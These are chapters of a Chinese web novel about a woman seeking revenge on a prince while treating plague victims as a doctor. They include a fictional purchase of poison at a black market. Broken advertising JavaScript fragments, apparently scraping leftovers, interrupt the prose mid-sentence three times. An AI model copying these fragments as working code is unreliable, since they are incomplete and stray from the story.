“这些年我看着你为他受苦,为他情伤,看着你背负仇恨,我心疼,我愿意永远都陪在你身边,或者,就算你要利用我的爱意我也甘之如饴,可是你为什么,始终不能用看他那样的眼神看我一眼,无论是爱是很,我只想要一眼……他曾经那样对你,还杀了云青山所有的村民,而你只是逃了他一次婚就开始心软了!为什么你对他那样怜悯,对我却这样残忍?!” “你在说些什么?”她并不客气地直视回去,并未被他眼中的欲念与疯狂吓到,目光灼灼:“谁说我心软?!” 35. 包庇 两人四目相对。 “放手。”她看着他,“放手!” 许是被她犀利的目光慑到,他终究鬼使神差地放开了手…… “云青山是我长大的地方,那些村民也算是我的亲人,其中还有很多是我救治过的病人。我曾为自己承袭了阿爹的医术能够救死扶伤而高兴,这也是我平凡的日子里最快乐的一件事,可这些在他到来之后全都终止了。那些我救过的人,都被他杀了。 按照杀人偿命的算法,云青山死了百余人,他该赔上几百次命才够。才现在这样,能算得了什么吗?” 司云的神情轻微地缓和下来,“那,你是没答应了?” “现在我还未和他说个准话。但,过几天我就会答应他。” “你……?!” “你知道吗,每天晚上我一闭上眼睛,就会想起那些乡亲的音容,想起之前我在景王府里每一个孤寂绝望的夜晚……只要他不死心、不对我下手,我可以一直嫁给他,没关系的。但,每一次都不会成。”她看着漫天晚霞,忽笑得如残阳滴血:“不死,不休。我会用尽生命里所有的一切,来报仇。” 司云怔在那里。 她眼中的疯狂令他陌生。 可他方才的那段话、那般对她说话的神情和语气,又何尝不令他自己也感到陌生? “那天我在王府放了火,出去的那一瞬间我就知道,在这世上,心软的人只能被人所伤,只有坚硬如水者,才能得到想要的一切。”她的笑容让人悚然,“你读《道德经》么?” “我知道了……你……你这是在给他上水滴刑。” “司云哥哥。”她转过身来,“你方才说的话我都记下了,但我以前也说过,若你对我感到疲倦,随时都可离开。以前你为我做的那些我很感激,但无法给你你想要的回报。现在的我不再是从前的我了,没有你的帮助,我一个人也可以报仇。” “对不起夭夭妹妹,我方才是有点冲动了,你别怪我。” “不怪你。你的反应也是人之常情。司云哥哥,我现在是少阁主,全江南所有的漂亮姑娘,你若有看上的可以和我说,我会帮你做主,到时你也可以拥有属于自己的幸福。” 他的眼中黯然了。“你分明知道,我所求为何。” “但这我无法给你。” 她利落地转身离去,倩影很快隐没在夕阳之中。 夕阳落山,天幕上迎来了月轮。 “公子是什么人啊,我跟了他这么多年,从没见他对谁如此卑微过……” “说起来也是他自己种下的苦果,可是他又能有什么办法呢?” “只盼她可以心软一点吧……” “她要真的心软,就不会这么做了。这一回跌下山崖,亏得公子命大,不然早就……” 傅从和玉冰正在游廊下说着话,不远处无殇走过来了:“公子喊你们过去。” 一灯荧荧,映着他轮廓分明带着病容的脸庞。这些天他接连伤病,人已消瘦了一圈,两侧的颧骨显得更加凸起了,眼下的乌青亦显示着他这几天没睡过一个安慰觉。 君琰手里拿着一封密信,抬手撕掉了。 “大婚那天,她不是在别处,而是回了星月阁。”他的声音里压抑着刻骨的哀伤,“所以这件事,沈因初也是知道并默许的。” “这正是让属下觉得奇怪的地方。”傅从说:“按理说,与公子的联姻,沈阁主应该也很重视才是,为什么会允许她这样胡来?” “一年前的事查清了吗?”君琰问。 “已经有些眉目了。星月阁那边刻意防着调查,所以进展有些慢……”玉冰道:“但可以确定的是,当初就是沈阁主将她救出来的,并帮她做了假尸骗了公子。” 君琰点了点头:“沈因初为什么会救洛夭夭?难道他也是……” “十有八九是这样。”傅从道:“但也未必,他也可能是旁支。之前我们的情报错不了,否则公子一年前也不必那样大费周章了。” 君琰深叹了口气,“沈因初待她之心是真,却也默许她向我报仇,想来是这个原因……” “公子,恕属下直言,这件事要不就到此为止吧。”玉冰道:“这一回您可真的把我们吓坏了!” “是啊公子,京城里那么多名门闺秀,为什么非要这个沈月?” “你别跟着我说话!”玉冰碰了下傅从的胳膊,“你这话不是刺激公子么?” “听着,”君琰开了口,声音又哑又倦,却透着坚定:“沈月是新婚之夜被人掳走的,是我们这边的布置不够周密导致的,本王再还她一次婚礼。” “什、什么?!”两人同时一惊,都怀疑自己是不是听错了…… “无论对谁都要这样说,包括皇上,这是命令。另外再备份薄礼,待本王病好,便亲自去星月阁致歉。”他不再给二人置喙的机会,闭上眼,摆了摆手:“我倦了,你们都下去吧。” 比身上的伤更糟糕的,是心上的伤,他担心她会不会答应再嫁他。只要她答应,只要她肯给他一点希望,他会拼尽全力去祈求……与心上伤同时存在的,却是他在朝野中变得愈发艰难的处境…… 原本他是皇上最信任的兄弟,一只脚在朝堂,一只脚在江湖,无人敢动,无人敢惹,可自从下江南办了这间差使、承诺了大户们不会有人分利之事,他便调动各种人手打击贪腐,一时之间将朝野官员都得罪了大半。从前与他交好的、不交好的,现在一个个都对他恨得咬牙切齿……皇上那儿弹劾他的奏折,也一下子多了起来——虽然君朝雨知道他忽被针对是因为什么。 姚寂说,这是他应了沈月的话,将自己陷入了不利的处境之中,可他说,这也是他自己愿意做的,与沈月何干? 他君琰从来不怕得罪人,也不怕死。 除非是关乎非常重要之事。对他来说非常重要的只有两端,一端是大楚的朝廷与百姓,一端是洛夭夭。而自个儿的性命,是不被算在内的。 在这个大楚天下,比他大的只有皇帝,他也只会在皇帝面前伪装,在其他人面前,便是装都懒得装……即便得罪了个干净,亦视他们为蝼蚁,在那儿等着他们来杀。 没有什么人,能迫使他低头。 除非是他心甘情愿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地低头。 比如,为了夭夭。 夭夭如果要他死,他怕的并不是死,而是在死前仍不能见她安乐——报仇容易释恨难,这个道理他很早以前就懂了,远比她要早上许多许多年,所以亦能理解她的所思所想。如若自己现在偿还罪孽之行,能将她心里曾经受过的创伤慢慢抚平,那便是令他,最为欣悦之事。 悲欢离合总无情,一任阶前、点滴到天明。 他有一个喜好是听雨。 读书时听雨,病中听雨,梦醒了,仍听雨…… 秋雨连下了三晚,江南一夜入冬。 西湖的绿,早已被云收去了,被雾笼去了,亦被晚霞蒸散了。近处的水,暗蓝杂黄,如被泼了彩墨,中央的青,明净澄澈,缬射云日的银光,远处则晃着深紫的暗纹,她坐在湖边,穿着那身浅紫色襦裙,眼睛里流露出了她自己也不懂的悲伤。 还没有认识他的时候,她坐在这湖边,满眼都是欣悦,而今再来到这里,满眼唯余物是人非。湖山还在,亲朋却已不在,一夕之间尽数死去,就仿佛她从前生活过的世界,不过是云雾交织着的幻梦一场。 “小姐,九公子去找阁主了,阁主想问您,还……要不要答应他。” 眼中一瞬情绪变幻,那缕悲伤被遮了起来,取而代之的是沈小姐一如往常的淡然神色。“应啊。为什么不应?” 她站了起来,“只要他有那个财力和精力,婚礼再办一次自然是无妨。” 静儿觉得自己一向都不是很懂她…… 但她也不需要多么懂小姐。她只需时刻谨记自己的身份,做好主子们交办的事情,为小姐排忧解难就好了。 “上回大婚的时候,出了点小意外。”她微微翘起唇角,笑意模糊:“相信这一回,不会那么倒霉了吧?” “是,小姐,奴婢这就去回话。” “我今天要回去得很晚,若阁主问起,你就帮我遮掩过去,就说我已经睡下了,知道吗?” 小姐没说去哪里,那自然就是自己也不该问的了。静儿想着点了点头:“奴婢知道了。是否要叫几个暗卫陪您?” 她思忖片刻。“让功夫最好的那个随行……不,让那个功夫第二,但是是哑巴的,随行。” “……是。”静儿心里琢磨不透小姐要去干什么。既然要让哑巴侍卫跟去,想来是有什么秘密了。“那小姐,您一定要注意安全。” 夜晚,家家户户都熄了灯,只有一个地方是灯火通明、热热闹闹的—— 人潮涌动间,出现了一个披着深紫色斗篷的少女。 这里的人装束都有些奇怪,有的是残疾,还有的是从异域来的。他们躲藏在此做些灰色买卖,官府一般是不会过来的。 紫斗篷在一个摊位跟前停下了。 “姑娘,要买些什么?”独眼小贩热情地招呼:“我这里,有七日含包散、断肠草、情花毒、十香软筋散、鸩毒、砒霜、鹤顶红、生死符、钩吻、滑石粉、三尸脑神丹……” 少女的眼眸极是清冷。 “你帮我选一种,不会叫人死,但会叫人痛苦不堪的药。” 36. 疫病 外头的风声紧了,悄无声息地,一场疫病不知何时而至,短短数日内,便席卷了江南数地的大街小巷…… 幸存者宅家不出,不幸者染病流落街头,街道上看不到小商贩了,家家店门紧闭,挂上了药草。当地知县急得像热锅上的蚂蚁,向上请示赈灾款及一应粮食药品,却迟迟不见批复…… 君琰宅府养伤,案头也总飞着雪片般的文书和密信,这些天他精神不太好,常神思倦怠,下属们为让他安心养伤,并未及时将外头的情况告知,只拖到三天之后才与他讲——此时此刻,外边街头横死者,已多达千人。 手中一个杯子给他生生用内力震碎了。 “这么重要的事,为何不第一时间禀报?”他沉着脸,闭了闭眼,“你们的胆子是越发大了。” “我们自愿领罚。”姚寂道:“不是不愿禀报,实在是为公子身体考虑,等您身上有些起色了才敢说,若不然,您伤还未好又跑出去,我们也拦不下。” “我的身体……”他似乎气笑了,顿了顿,问:“外面死了多少人了?” “第一天只有几百人,第二天一共是六千多人,每天都在增长……截止到昨天辰时三刻,一共死亡四千八百七十一人,重伤者两千零九十四人,轻伤三千一百五十六人。眼下最要紧的一是大夫人手不够,根本救不及,二是药物不够,可王知县一直在等批文,说没有上头的公文批示他也不敢擅自……” “他的狗命也赔得起?!”——“哐啷”一声,桌上那个瓷杯也被他摔在了地上,“赔得起数千条人命?” “公子息怒……” “让他即刻开仓放粮,每家每户都要发,所有能筹集到的药品,全数用于救治伤者,让全城的大夫,能动的都出来救人,另外再给邻县去函请求多派些大夫来帮忙。有什么事,本王担着!” “借大夫的事属下之前也和他说过了,他说隔壁李知县怕得紧,怕借人会惹上事,不肯借……” “他是饭桶吗?!”君琰脸上显出了怒意,若非受伤,只怕即刻就要起来……“去告诉他,三日内凑不够药品、粮食和大夫,无需向上请示,本王便在这里罢了他的官!” 景王来此办事,是以钦差之名…… “是。”姚寂应声出去了。 江湖九公子可以漠然不顾任何人的死活,但是景王,必须顾及百姓的性命与朝廷的颜面。 朝廷的立场,是他与生俱来便有的;江湖的立场,是他不得不有的。此时此刻,他还是朝廷的钦差。 君琰稍稍平复了一下……“上次那件事便透着蹊跷,虽说下手之人已被归案,但其幕后之人尚在调查中,本王总觉得不是’政敌‘两个字那么简单。另外刑部和大理寺那些个酒囊饭袋,能不能把事情办得漂亮还不好说。这一次的疫情又是从哪里起的源头,玉冰,你们要查清楚。” “目前有些线索,但不多。公子,病源现在还未明,但上次清水河边血案过后,人手不够,有些尸体没来得及处理干净,人身腐烂,或许亦助推了病源的传播……” “如果这两件事背后当真是同一人——”说着霍地睁开眼睛,“那他的本事,还真不小。” “公子,您也不要太着急了,还是要好好养伤……” 君琰闭着眼,眉头皱着,心绪不宁。“外边情况这样,你觉得我这伤养好了还有什么用?” “当然有用!”玉冰道:“您本来身子康健,要不是因为最近新伤叠旧伤,不至于要卧床这么久,只要您把伤养好了,不就可以出去帮忙了吗?但现在您不可以乱动!” 君琰默了默…… “星月阁那边怎么样了?” 玉冰和陆云皆是一愣。 “公子还惦记着她呢?” “她不就是待在阁中不出来嘛?星月阁什么地方啊,公子大可不必担心。倒是她,这几天也没捎个信过来问候您一下。” 君琰:“待在阁中倒未必,我觉得她会闲不住……就看沈因初让不让她出来了。” “闲不住?” “你们忘了吗,夭夭从前是大夫。眼下外面这么多人染病死去,她真能无动于衷?”他思忖了半刻,“但官府请去的大夫,都是有铭牌登记的。你们去一个人盯着,若是她被查了,就打个掩护。” 沈月正被关在屋子里不让出去。 外头一日比一日风声更紧,她那颗属于医者的心,又不自觉砰砰地跳动起来了…… “小姐,您还是听阁主的话吧。”静儿说:“外面疫病横行,您出去万一染上了怎么办?虽说阁中不缺钱也不缺药,但染上病了身子还是会难受,严重的还可能会死。” “我……静儿你不知道,我是大夫啊!”她的双颊红着,显然是有口气憋闷在胸前,“外面疫病横行,现在正是需要大夫的时候,我这个大夫却被关在这里不让出去!” “阁主也是为了您的安全着想。”静儿道:“若是大夫,那就更要与感染者近距离接触了,小姐……心里不害怕吗?” “害怕?难道因为害怕,就要干待在这里,看着外面死更多的人?” “死了很多人也不干小姐的事儿,您待在这里就是安全的。”静儿说完自觉有些失言,“我的意思是,这场疫病来了谁事先也不知道,死的人多不能怪小姐,这件事和您本来就没有关系。” 沈月摇着头,“哪里有病人哪里就与我有关。我不能……我真的做不到当一个旁观者。从前我就是大夫,后来我去了景王府,从那以后我有很久都没从事老本行了,现在我又忆起了以前那段行医救人的日子……” 静儿默默地听着,似乎并不太懂她眼里那种情绪,见她实在难以平静下来,也只能叹了口气道:“那奴婢再去帮小姐和阁主说说吧。” 过了一会儿,沈因初亲自来了。 但他只是站在她的门外,没有进来,也没让下人开锁。 “义父?”沈月听见了动静,忙将耳朵贴着门:“是义父吗?求您了义父,外面大夫不够,您就让我出去救人吧!” 沈因初沉默了半晌,开口:“沈月,你现在已经不是洛夭夭了,你要记着你的身份。这场疫病来势汹汹,星月阁少阁主没有在外面如此抛头露面的道理,更不能有任何的闪失!官府会召集大夫的,这些事原也不用你来操心,少你一个大夫不会怎么样,多你一个大夫也未必能多救几个人。” “义父,”她的眉头锁得更紧了,“可是我坐不住,外面死的人越来越多,我……” “坐不住也得坐!你要再不听话,我让人来点你的睡穴,你便睡上个三天三夜再起来。” 一阵脚步声远去了,她叹了口气,无力地顺着门边坐在地上。 脑子里茫茫一片空落…… 星月阁是个什么样的地方呢?是,她好像是忘了——星月阁,是做生意的啊。 从她变成沈月开始,就一直享受着少阁主的优渥生活和待遇,却忘了,这份优渥需要她付出的代价与责任。 洛夭夭可以是徜徉山水之间的精灵,可以想去哪里就去哪里,上山采药,行医救人,日出而作,日落而息,都无所谓……但沈月,不能。 可若她不是沈月而只是洛夭夭,她亦无法拥有报仇的实力与后盾。 这人生,这处境,无论是怎样,都会两难啊。 …… 不过为什么,她一定得以沈小姐的身份去救人呢? 乔装改扮一番,让谁也认不出她来,不就既能救人,又能满足义父的要求了? 嗯,可以偷偷的。 主意已定下来,她露出了满意的笑容,佯装乖巧,唤来静儿道:“我刚才想通了,不会再想出去了。你去跟义父说说,我想吃海棠酥。” 静儿眼睛一亮,“小姐能想通就最好了,我这就去给您拿海棠酥!” 然而她并不知自己正在被小姐算计的路上…… 一刻钟后。 外面下着雨,严寒天气里,道路两边堆着一些不知名的尸骸,零星地有几个蒙面的大夫在忙碌着,一片死寂。 沈月偷跑出来的时候正是辰时,随身带了个白色的小包,里面装着针灸、药品等物,看见一个伤者,即刻便蹲下来查看他的情况。 她的目光很专注,手法亦是干净利落,不过半刻,那伤者便 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 悠悠醒转…… “这病来势凶猛,你的情况我暂时控制住了,后续用药你可以先拿上这些。”她将药塞到对方怀中,又转向旁边一名伤者。 那伤者脑子昏昏沉沉的,张大了嘴巴,好半天才发出声音来:“我——没死啊!?” “诶,你是哪位大夫?”从头顶上传来一个声音,她一扭头看见了个穿着官服的人,一时不知该如何答话…… “问你呢!有铭牌吗?” “难道一定得有铭牌才能救人?我是大夫!” “当然,没有铭牌谁知道你是哪里来的野大夫?!滚开,你,先站起来!”那小兵有些气愤,“从哪来的滚回哪去!” 她颇有些惊讶……很快又道:“这里的情况很危急,求你别耽误我救人好不好。” “你!”那小兵抬手一个巴掌正要打下去,忽然惨叫一声——那巴掌在半空被人接住了。 抬眼一看却见是熟人——九爷手下的玉冰。 那小兵认得他,一下子吓得腿发软:“玉公子,您怎么有时间来了?” “为何对救人的大夫出言不逊?” “她没有铭……” “铭你个头!自己去那边领二十板子!” “是、是……”小兵疑惑又害怕着跑远了。 便宜了这家伙,玉冰心里想着,目光转向了蹲在地上给人看诊的沈月。 “多谢公子援手。”她一心扑在救人上,只用余光看着他。 玉冰皱着眉……从前王府里温柔和顺的洛夭夭,如今不惧被感染只身救人的沈月,竟也是那个心冷心狠报复公子的人么? 公子与她在王府中的那段经历,只姚寂和陆云两人了解得比较清楚,但他平时没怎么听他们说过,他只知道,这名女子一直是公子的心上人。 “你不问问九公子?”他看着她。 “恕我眼下忙乱,有什么话回头再与您聊。”她手头忙着,语气也带了几分官腔……心驰电转间,后知后觉地才仿佛听到了“九公子”三个字。 “哦,他还好吗?”她不知是以怎样的心情说着话,“等我回头忙完了,给他送点药过去。” “不用了,公子那里不缺药。”玉冰若有所思地看着她,“缺个大夫。” “他会缺大夫?” “都说医者父母心,这些素不相识的人你救,若是公子有什么事,你救不救?” “他会有事吗?” “……” 玉冰给气笑了。 她好像,真的一点都不关心公子。 真不明白公子到底为什么还是对她那么上心。 忙了好一阵子,天色愈发暗了,从不远处,缥缈地传来台上人幽凉的戏声…… “他是个矫帽轻衫小小郎,我是个绣帔香车楚楚娘,恰才貌正相当。俺娘向阳台路上,高筑起一堵雨□□…… 可待要隔断巫山窈窕娘,怨女鳏男各自伤。不争你左使着一片黑心肠,你不拘箝我倒不想,你把我越间阻,越思量。 …… 捱彻凉宵,疯然惊觉,纱窗晓。落叶萧萧,满地无人扫…… 人去阳台,云归楚峡。不争他江渚停舟,几时得门庭过马?悄悄冥冥,潇潇洒洒。我这里踏岸沙,步月华,我觑这万水千山,都只在一时半霎!” 至此,那个尾音蓦然定格住,圆月小小的一个,落在了她潋滟的眼眸里,心里不受控制地复唱一遍—— “我觑这万水千山,都只在一时半霎!” 这出戏是《迷青琐倩女离魂》,也是她从前很喜欢的戏,但在从前,她还未细细品过其中的唱词。 心分两地、魂亦两地的倩女,爱她却也伤她的王郎,终究是心儿都落了个云散高唐、水涸湘江,即便她也曾为了见他一面而那样坚定地说过——“我觑这万水千山,都只在一时半霎”。 呵。 她低低地笑了。 踏岸沙,步月华…… 踏岸沙,步月华。 “请进去通报一声,就说沈月求见。” ——两个时辰后,她救过了几十个人,出现在他的门口。 37. 药方 她穿着深色斗篷,下半张脸用面纱严严实实地捂了起来,只露出一双明亮的眼睛。 “沈小姐?”开门的管家显然已经认识她了,“这么晚了您有什么事吗?” “我是来借药的,你们这里是否有这些药材?”她拿出一张药方来给他看,上面写了药品名字及需要的数量,“我背着阁主出来的,也实在找不到别处去借药了,官府那边不能去打照面,天一亮我就得回到阁中,如今也只剩下这个通宵的时间,能多救几个算几个……” “这……好像是有。您稍等,我进去问问。”管家转身进去了,沈月等在门口。 没过多久却就听见管家的声音:“公子啊,这么晚了您还没睡?” 君琰向这边走过来了。 月凉如水,她不由向后退了一步,当看到那个熟悉的身影时,眼睛微微睁大了——他瘦了好多。 “这么晚了,来借药?”显然他刚才已经听见了她说的话。“都拿去吧,我这里有多少,全都给你。” “多谢。”她柔柔行了个礼,半是客套地问:“你的身子可好些了?” “我们的婚期就定在新年之后吧,刚巧那时候开春了,疫病也该过去了。”他没有回答她的问题,却是提起了婚事,面色苍白着,嘴角还挂着一个浅笑。 此刻满目温柔的君琰,又让她想起初见时的那个君琰了…… “好不好?”他像是在征求她的意见,眼睛里噙着笑意,语气里也透着几分小心。 她还没有见过这样的他。 …… “你觉得好就好。” “你对自己的婚事,都无所谓吗?” 两人正说着,管家拿着药材来了:“沈小姐,就找到这些,您先用着吧。” “多谢。”她欣然接过,“今天欠你的待时疫过去后便还,你可以先记着利息。” 如斯生分的话让他喉头一阵哽。她都要嫁他了,还说什么还不还的?但…… 转瞬他眼睛里却多了一丝危险的光:“利息,收多少?按我的规矩,这个利息可是凭我的心情……” “星月阁不差钱。”她笑道:“我相信九爷也不会漫天要价的。” 他颇有深意地笑了笑,“你怎么知道我要的这个利息,一定是钱?” 沈月的笑容消失了。 “深夜登门,多有叨扰,告辞……” “站住。” 她咽了口唾沫,“九爷,我还有事。” “我知道。”他走了过来,“要救人去,是吧?” “嗯。” “我陪你去。” “什么?” “这么晚了你一个姑娘家在大街上,不害怕吗?” “我没有这样想过。”她看着夜空,“这些年来一个人早就习惯了,只要人还活着,又做什么要为还没到来的危险担心呢?那样,我怕是会累死了。” “往后我来替你担心。”他在她身后说,“带上我,我陪你去。” “可是出去会有感染的风险,九爷千金之体……” “你不是也不怕吗?” 夭夭并未想过他有朝一日会放下身段,和自己一起在大街上救人。她给人看诊扎针,他就在一边打下手,递东西或是拿烛台给她照着光,随后将看好的病人背去合适的地方放下,就这么忙活了一整晚,天要亮了。 “你快回去,别让阁主发现你偷溜出来了。” “你怎么知道我是偷跑出来的?” “当然,这不必想就知道。” “你——到底为什么要陪我一起做这些,你不是有洁癖吗?” “我是景王,是钦差。这里的百姓我不能不管,能出一分力算一分吧。之前公文已经发出去了,邻县的大夫最晚今天就会到,你不必再担心,也不必再出来了。回头我还要去布政使衙门。希望这场疫病,能快点过去。” “可你的伤不是还没好吗,这样来回跑会不会太累了?” “你是在关心我?” “我是作为大夫的身份使然。” “那等疫病过去了,沈大夫还来看我么?” “我不知道。九爷,你杀人,也救人,我越来越看不懂你了。” “杀人者不能救人么?九公子杀人,景王救人,这下懂了?” “您还真是身份来回切换自如……” “天要亮了,快回去吧,免得阁主起疑。”他招呼她走,微微躬身,在她而后悄悄说了一句:“别忘了你还欠我利息。” 君琰好像和从前有了那么些的不一样。 今夜他所做的事,在她看来实在是太意外了……以至于她不能想得很明白。 之前在清水河边,他也救了她一次。他是救她性命的恩人,也是杀她全家的仇人,是过去负她真心的薄情郎,也是现在追逐着她不放手的痴情人,他的深情里几分是真几分是假,他的薄情中又几分是真几分是幻?为什么要这么对她?为什么偏要在她“死”过一次之后才愿意去回到最初?没有死过一次的洛夭夭在他心里就那般不值钱么?前前后后他的态度变化那么大,可是,面对的不始终都是她这个人吗? ——不是很懂这个复杂的男人。 她又想起了自己上回去黑市买的毒药…… 心不觉有那么一分软了,可她也不能因为这分心软就真的嫁给他吧?毕竟杀亲之仇总归是不共戴天的。 悄悄摸摸回到屋里,躺在榻上一顿好睡。 “小姐今儿是怎么了,睡到日上三竿了还不起来。”静儿看着觉得疑惑,却也不敢搅扰,一直等到下午,沈月才一觉方醒。 睡了一觉,感觉精神好多了。 之前所救之人,只是暂帮他们压下、缓解了症状,但这种疫病看上去和以前的许多疾病都不一样,若不能制出一种有针对性的药物,怕是很难有效控制。她又闭上眼,脑子里琢磨着这些,眼前仿佛翻开了一页页的医书,从小时候起看的所有医书,全都浮现在眼前了…… 静儿和她说话,她也没应,大脑十分专注,只在琢磨应该用一种什么样的药…… 感觉小姐是为什么事情魔怔了呀?静儿悄悄地想。 年关将近,君琰必须得回一趟京城了。 待初八之后,再过来……履行前言,在江南,娶她。 不知沈因初是作何想法松了口,准许司云在没人知道的时候过来陪她聊天。 “你来得正好。我在研制对付时疫的药方,需要个人帮忙。”司云一进来,就看见她专注地在那里写着什么,桌上堆满了稿纸。 “好。”他在她对面坐了下来。 如此这般,埋头钻研了三天三夜…… “可以了!就是这个。”她满脸的欣悦,“有了这个方子,外面的情况一定能好起来。” “你这三天到底在做什么?”沈因初正好进来了。 “义父,您看!”她笑着:“这是治疗时疫的药方!” “哦?”沈因初看了他们两一眼,又展开那方子看了看。 虽然他不懂医,但感觉上面写的东西确是有模有样。 “我对医术学艺不精,不如沈小姐,只能给她打打下手,这个方子能想出来主要还是她的功劳。”司云这两天也累了,眼下高高兴兴地起身过来。不管怎么说,这都是一件好事。 但沈因初却并没有他们想得高兴。 “你从前的身份本是个隐秘,现在少阁主却忽然会医术了,要如何解释?” “义父,这个没关系的。”她的脸上,此时出现了从前的洛夭夭才会有的澄澈笑容,“只要能救人,能帮到更多的人,我于愿已足,是谁的功劳都无所谓。不然义父就说这是星月阁请了大夫们来研制的,如此不是也有利于星月阁的名声么?” “星月阁是做生意的,不需要这些。”沈因初一脸冷漠地把方子还给了她,“你又怎么能保证这个方子一定有效?” “当然……” “谁愿意第一个试你的方子?”他打断着她,语气里却又逼压之意。 “现在没有疗效很好的药,有药总比没有的好,我相信会有人愿意的。退一步说,若实在没有我就自己来试。我自小学医,对这个方子,我有九成把握。” “你要出去染上疫病?!”沈因初手背上青筋暴起,情绪也有些激动了起来:“我是对你太好了,你身在福中不知福,竟还要主动出去染病!” 她的脸色白了一阵,连忙解释:“义父,我是大夫,如果没人愿意,我当然只能自己试药……” “我愿意试药!”司云开口道:“阁主,小姐千金之体怎能如此,晚生愿去感染后试药。” “我允许他来是陪你解闷的,怕待在家中许久将你憋坏了,却原来你们这三天都在研究药方?”沈因初忽眼光犀利地看向她:“你是不是偷偷跑出去过了?” 她脸上一阵白,“我……” 司云:“阁主息怒,沈小姐也只是救人心切。” “这个方子不需要。”沈因初漠然地说——“因为,外面已经有方子了。” “什么?”她一讶,连忙问:“真的有了吗?效果如何?” “吃不死人,也救不了人。”沈因初拉下了脸,不客气地道:“这件事你不要再管了,我沈因初不对不相干的人负责,我只对你负责!”说罢就准备离开。 “……义父!”她睁大了眼睛喊了他一声,他站住脚步。 从前阁主在她心里虽然神秘,却也是个很善良的人,是她的恩人,她不知道他为什么会这样说。 “既然您都知道那个方子没用,又为什么不愿意把我的方子送出去试试呢?救人一命胜造七级浮屠,义父难道不这样想吗?现在外面都死多少人了?这个数字每天都在增加……” 沈因初似乎已经被她说得失去了耐心,“有人要对上面交差,我也要对这些人交差,为什么外面那个方子没用但仍然要用它,又为什么你的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 方子可能有用却不能用,我三两句话与你解释不清,星月阁这么多年能屹立不倒是有原因的。你,不要太天真!” 缓了缓,又补了一句:“那个方子,你烧了吧,莫再浪费精力了。” 她惊住了。 眼睛睁得大大的,看着他离去…… “夭夭妹妹。”司云扶住了她。 她压根没有想到,万万没想到…… “这个世界是怎么了?”半晌,怔怔一语。 “阁主也是关心你。”司云给她倒了杯茶。“喝口水吧。” “不,不……”她摇着头,“我相信我的方子,为什么他……” “夭夭。”司云叹了口气,“从时疫爆发开始,你想做回的都是洛夭夭……而阁主要你做的是沈月,永远都是沈月。” “……我知道。可沈月,也是夭夭。”她低着头,很是灰心,“我真的,做不到无动于衷。这些年遭遇了太多的事情,但我始终没忘记自己是个大夫,行医救人是我的本分和天职,义父所说的,我怎么做得到呢?” “我理解,我明白你。”他抬手企图去给她拭泪,却被她拦下了手。 “义父方才说的那些,我似乎能够懂一些,可为什么……他们为什么要这样呢?难道其他东西能比人命还重要吗?” “对每个人来说最重要的东西不一样。在你看来人命最重要,可是在那些人看来,就是别的更重要……”司云说至此,忽然打住,“罢了,以后还是少说这些话吧,防止在外面一个不留意,犯了什么忌讳。” 她长呼了口气,“景王现在回京城了吧?” “怎么想到问他?” “他是钦差。我在想,如果他还在这里的话,情况是不是会不一样,我是不是可以将这张方子给他?他一定会有办法吧?” 司云的眼睛里忽然划过那种十分嫉妒的神色,一瞬间胸闷气堵得厉害,出口道:“你怎么就知道他会援手,而不是添堵?他和外面那些人,难道不是一丘之貉吗?” “也未必……?上次我去救人,他还陪我一起……” “是吗?也许那些都只是故意做给你看的呢?”他盯着她,“你需知道,他骗你可不止一次,他可以在你心里挽回几分形象,再继续去做他想要做的事。你现在是少阁主,他对你的态度自然是好。” 她看向司云……“你很了解吗?我近来是觉得越发看不懂他了。” “有什么看不懂的?”他肃然道:“你只需知道,他杀了云青山所有人是事实,杀了你爹娘也是事实,欺骗你的感情、利用你,为他的王妃备血,更是事实!他毁了你所珍视的一切,如果后悔有用的话,那所有人岂不是都可以肆无忌惮地犯罪?父母之恩,云何可报?!他从前对你的那些伤害,是迟来的深情无法弥补的,如果你心软了,那无异于是对过去的自己的背叛!” 他一口气说了这许多,看着少女有几分茫然的眼神,不觉又有了一丝微妙的悔意……只在十分短暂的一秒内,他觉察到自己似乎是有些变了。可这丝悔意,也转瞬就消失不见。 她似是头一回见他这般严肃,缓了缓气,说道:“张王妃莫名消失了,这件事情我至今都还没搞清楚……” “那是因为事情临时出现了变化。你纵火逃遁,所以他的原计划失效了,若不然你还是难逃被他取血的命运。”他此刻的心境已然变了,眼睛里也闪出了恨意,“老实说,他这样对你,也是我的仇人。只是我无力为你报仇,只能在你需要的时候,帮一帮你……” 她皱着眉,许久,眼中的茫然终于散去,深以为然地点了点头,“父母之恩,云何可报?你刚才说的都很有理,是我一时想岔了。这个人惯会用表象迷惑人,也惯会骗人,如果不是这样,我当初不会就那样跟他走。司云哥哥,多亏有你提醒。” 沈月对君琰的信任早已被摧毁,很难再建立得如从前那般,只要有一星风吹草动,他苦苦搭建起来的大厦就会倒塌。 他听见她这样说才舒了口气。“同样的当自然不能上第二次,无论他怎样对你示好,你都不能再对他付诸十分的信任。夭夭你只需记得——无论你要做什么,会永远陪在你身边、任你支使的,都只有我。” 沈月叹了一声,似是已经很倦了,对他的这句结论不置可否,继续说着自己的话:“若没有当初的悲剧,我现在仍会是洛夭夭,而不是被收养的沈小姐。司云哥哥你知道吗?其实我并没有多喜欢这样的生活,我一直想回到的,都是最初……我很想,很想阿爹和阿娘……” “你如果相信我的话,”他向她伸出手,“这个方子的事情,我去帮你解决。” 他要向她证明,证明他也是一个有用的人。她认为只有景王才能办到的事情,他亦可以办到…… 为什么近来总会心慌得厉害?从前他总是温和地看着她,顺从于她的一切,可现在他发现,这样乖顺根本无可能赢得她的芳心。他必须要再主动一点,趁那个魔头还没有回来。 38. 联姻 “老爷,听说最近出了位大夫,拿着个新药方治好了人,许多刁民都跑去找他,不来官府这里了。” “什么大夫?带来见我!” “老爷,那人跟兔子似的,常不在一个地方,跟咱们玩游击战……” “没用的东西!连个人都抓不到?再去!” 沈因初得知消息,派人去找了司云。 “你若再这样下去,以后就别想见到少阁主了。” “……是阁主说的吗?” “阁主说,小姐有时不分轻重,你若也陪着她胡闹,你们便没有再相见的必要。趁官府的人来拿你之前,停止你的行为,阁主或可保你一次。否则,我们现在便带你去见官。” 司云知道沈因初是不会开玩笑的。 为什么…… 